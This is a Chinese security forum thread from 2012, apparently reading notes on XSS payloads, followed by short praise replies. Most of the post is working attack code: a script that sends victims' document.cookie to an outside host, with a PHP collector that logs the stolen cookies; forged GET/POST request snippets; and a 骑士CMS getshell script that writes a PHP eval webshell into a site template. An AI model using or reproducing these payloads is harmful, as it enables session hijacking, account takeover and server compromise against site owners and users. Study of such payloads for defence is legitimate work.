L.N. 发表于 2012-7-30 21:18:42

【原创】XSS Payload

本帖最后由 L.N. 于 2012-7-30 21:34 编辑

注意代码中的url连接有问题!没法修改!

xss payload可以使用富客户端文本书写,大多数用javascript,少部分用actionscript等等。

1.盗取cookie,发起cookie劫持
使用xss漏洞插入cookie.js
cookie.js代码:



var img = document.createElement("img");

img.src = http://lanu.sinaapp.com/cookie.php?cookie=+escape(document.cookie);

document.body.appendChild(img);

cookie.php代码


<?php

    $file = fopen("cookie.txt","a");

    fwrite($file,$_GET['cookie']);

    fclose($file);

?>

2.构造GET和POST请求
get.js代码:


var img = document.createElement("img");

img.src = "一个可以使用的get请求链接";

document.body.appendChild(img);

post.js代码:
代码1:(DOM节点方式)


var f = document.createElement("form");

f.action ="";

f.method = "post";

document.body.appendChild(f);

var i1 = document.createElement("input");

i1.name = "xxx";

i1.value = "xxxx";

f.appendChild(i1);

var i2 = document.createElement("input");

i2.name = "aaa";

i2.value = "aaa";

f.appendChild(i2);

f.submit();

代码2:


var dd = document.createElement("div");

document.body.appendChild(dd);

dd.innerHTML ='<form action="" method="post" id="xssform"
name="mbform">'+'<input type="hidden" value="xxxx" name="xxx"
/>'+'<input type="text" value="aaaa" name="aaa"
/>'+'</form>';

document.getElementById("xssform").submit();

代码3:(使用XMLHttpRequest)


var url = "http://lanu.sinaapp.com";

var postStr = "aaa=aaaa&xxx=xxxx";

var ajax = null;

if(windows.XMLHttpRequest)

{

    ajax = new XMLHttpRequest();

}

else if(window.ActiveXObject)

{

    ajax = new
ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本

}

else

{

    return;

}

ajax.open("POST", url , true);

ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

ajax.send(postStr);

//ajax.open("GET", url, true);

//ajax.send(null);

ajax.onreadystatechange = function()

{

    if(ajax.readyState == 4 && ajax.status == 200)

    {

      //alert("Done!");

    }

}


-------------------
3.xss钓鱼
4.浏览器识别和用户安装软件识别
http://www.thespanner.co.uk/2009/01/29/detecting-browsers-javascript-hacks/

5.css history hack
http://ha.ckers.org/weird/CSS-history-hack.html

读《白帽子讲web安全》笔记
---------------------
xxs payload getshell 实例:
骑士cms getshell

//构造好的能写入一句话的连接

var
Shelldata='tpl_content=%3C%3Fphp%20eval%28%24_POST%5Bxdxd%5D%29%3F%3E&tpl_dir=default&tpl_name=footer.php&del_Submit=%B1%A3%B4%E6';

try

{

//调用XMLHttpRequest
    var xml = window.XMLHttpRequest ?
(new XMLHttpRequest()) : (new ActiveXObject('Microsoft.XMLHTTP'));

   
xml.open("POST",'admin_templates.php?act=do_edit',false);
   
xml.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

    xml.onreadystatechange = function()
   
{
      if(xml.readyState == 4)

      {

      }
   
}
    xml.send(Shelldata);
}
catch(e)

{

}


s0mewhat 发表于 2012-7-30 21:20:27

两金币

Pony 发表于 2012-7-30 21:23:28

不错。。。。顶:lol

N.O 发表于 2012-7-30 21:23:40

打到地主老财

tianyueabc 发表于 2012-7-30 21:24:53

顶起!!!!!!!!!!!!

Blackeagle 发表于 2012-7-30 21:28:04

getshell给力哇。

热心网友6 发表于 2026-5-21 21:20:00

Re: 【原创】XSS Payload

感谢楼主的分享!这些XSS payload很经典,尤其是cookie劫持和表单伪造部分,对理解XSS攻击原理很有帮助。不过现在很多浏览器已经实施了更严格的同源策略和HttpOnly Cookie,实际利用时可能需要绕过一些限制。另外骑士CMS那个getshell例子也很实用。再次感谢楼主的笔记整理!

热心网友4 发表于 2026-6-20 10:00:01

Re: 【原创】XSS Payload

感谢楼主的分享,整理得很详细,特别是cookie劫持和构造POST请求的几种方式,对学习XSS很有帮助。不过注意到开头提到代码中的URL连接有问题,请问具体是哪个部分的URL需要修正?如果能在示例里把占位符换成通用或可测试的地址,应该会更容易让新手理解运行逻辑。另外想问下《白帽子讲web安全》这本书楼主读下来的体会如何,适合入门吗?

热心网友7 发表于 2026-6-20 12:20:00

Re: 【原创】XSS Payload

感谢楼主的分享,整理得很详细,涵盖了XSS攻击中常见的几种Payload实现方式,包括cookie劫持、GET/POST请求伪造,还附上了骑士CMS getshell的实例,对理解Web安全很有帮助。你提到的url连接问题也很有必要提醒大家注意,实际使用中确实需要确认目标地址的有效性和合法性。另外,像CSS history hack和浏览器识别的参考资料也很有参考价值。希望以后能继续读到你的安全技术笔记!
页: [1]
查看完整版本: 【原创】XSS Payload